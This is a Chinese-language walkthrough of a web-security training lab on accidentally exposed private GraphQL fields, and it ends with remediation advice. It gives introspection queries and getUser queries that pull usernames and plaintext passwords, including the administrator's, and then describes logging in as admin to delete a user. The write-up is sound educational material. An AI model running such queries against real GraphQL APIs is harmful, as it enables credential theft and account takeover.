通过GraphQL API未被净化的参数获取账户密码
字数 1013 2025-08-10 16:34:39

GraphQL API 安全漏洞:通过未净化参数获取账户密码

实验概述

本实验演示了 GraphQL API 中由于参数未正确净化而导致的安全漏洞,攻击者可以利用此漏洞获取敏感用户信息(如账户密码)。实验名称为 "Lab: Accidental exposure of private GraphQL fields"。

前置知识

  1. GraphQL 参数净化:测试查询参数是否被净化是发现 GraphQL 漏洞的重要起点
  2. 访问控制漏洞:当 API 直接使用参数访问对象时,可能容易受到此类攻击
  3. 不安全的直接对象引用 (IDOR):用户可以通过提供特定参数访问不应拥有的信息

内省查询

要发现 GraphQL 架构信息,可以查询 __schema 字段,该字段在所有查询的根类型上可用:

{
  "query": "{__schema{queryType{name}}}"
}

实验要求

  • 目标:利用 GraphQL 端点中的访问控制漏洞获取管理员凭据
  • 最终目标:以管理员身份登录并删除用户 "carlos"

渗透测试步骤

1. 站点分析

  • 网站类型:博客系统
  • 功能:查看博客、用户登录
  • 技术栈:使用 GraphQL 进行博客查看和登录功能

2. 寻找突破口

分析发现登录功能点是潜在的攻击入口。

3. 功能点测试

修改 POST 请求进行根查询

构造查询获取所有根内容:

{
  __schema {
    types {
      name
    }
  }
}

查询内部所有参数

通过内省查询发现存在 getUser 查询:

{
  getUser(id:1) {
    username
    password
  }
}

查询管理员凭据

修改 ID 参数获取管理员账户:

{
  getUser(id:1334) {
    password
    username
  }
}

4. 利用获取的凭据

  1. 使用获取的管理员账号密码登录
  2. 访问管理面板删除目标用户 "carlos"

5. 使用 InQL 工具辅助

InQL 工具可以直观展示 GraphQL 架构,便于构造攻击查询:

{
  "query": "query {\n\tgetUser(id:1334) {\n\t\tpassword\n\t\tid\n\t\tusername\n\t}\n}"
}

漏洞原理

该漏洞属于 GraphQL 字段意外暴露问题,由于:

  1. 敏感字段(如密码)未被正确限制访问
  2. 查询参数未进行适当净化
  3. 缺乏足够的访问控制检查

修复方案

  1. 禁用内省功能:在生产环境中禁用 GraphQL 内省查询
  2. 实施字段级权限控制:对敏感字段设置访问权限
  3. 参数净化:对所有输入参数进行严格验证和净化
  4. 最小化暴露原则:仅暴露必要的字段和查询
  5. 使用自定义标量类型:避免直接暴露数据库ID
  6. 实施查询深度限制:防止过度复杂的查询

总结

本实验展示了 GraphQL API 中常见的访问控制问题,强调了参数净化和字段权限控制的重要性。开发人员应遵循最小权限原则,谨慎设计 GraphQL 架构,避免敏感信息意外暴露。

GraphQL API 安全漏洞:通过未净化参数获取账户密码 实验概述 本实验演示了 GraphQL API 中由于参数未正确净化而导致的安全漏洞,攻击者可以利用此漏洞获取敏感用户信息(如账户密码)。实验名称为 "Lab: Accidental exposure of private GraphQL fields"。 前置知识 GraphQL 参数净化 :测试查询参数是否被净化是发现 GraphQL 漏洞的重要起点 访问控制漏洞 :当 API 直接使用参数访问对象时,可能容易受到此类攻击 不安全的直接对象引用 (IDOR) :用户可以通过提供特定参数访问不应拥有的信息 内省查询 要发现 GraphQL 架构信息,可以查询 __schema 字段,该字段在所有查询的根类型上可用: 实验要求 目标:利用 GraphQL 端点中的访问控制漏洞获取管理员凭据 最终目标:以管理员身份登录并删除用户 "carlos" 渗透测试步骤 1. 站点分析 网站类型:博客系统 功能:查看博客、用户登录 技术栈:使用 GraphQL 进行博客查看和登录功能 2. 寻找突破口 分析发现登录功能点是潜在的攻击入口。 3. 功能点测试 修改 POST 请求进行根查询 构造查询获取所有根内容: 查询内部所有参数 通过内省查询发现存在 getUser 查询: 查询管理员凭据 修改 ID 参数获取管理员账户: 4. 利用获取的凭据 使用获取的管理员账号密码登录 访问管理面板删除目标用户 "carlos" 5. 使用 InQL 工具辅助 InQL 工具可以直观展示 GraphQL 架构,便于构造攻击查询: 漏洞原理 该漏洞属于 GraphQL 字段意外暴露问题,由于: 敏感字段(如密码)未被正确限制访问 查询参数未进行适当净化 缺乏足够的访问控制检查 修复方案 禁用内省功能 :在生产环境中禁用 GraphQL 内省查询 实施字段级权限控制 :对敏感字段设置访问权限 参数净化 :对所有输入参数进行严格验证和净化 最小化暴露原则 :仅暴露必要的字段和查询 使用自定义标量类型 :避免直接暴露数据库ID 实施查询深度限制 :防止过度复杂的查询 总结 本实验展示了 GraphQL API 中常见的访问控制问题,强调了参数净化和字段权限控制的重要性。开发人员应遵循最小权限原则,谨慎设计 GraphQL 架构,避免敏感信息意外暴露。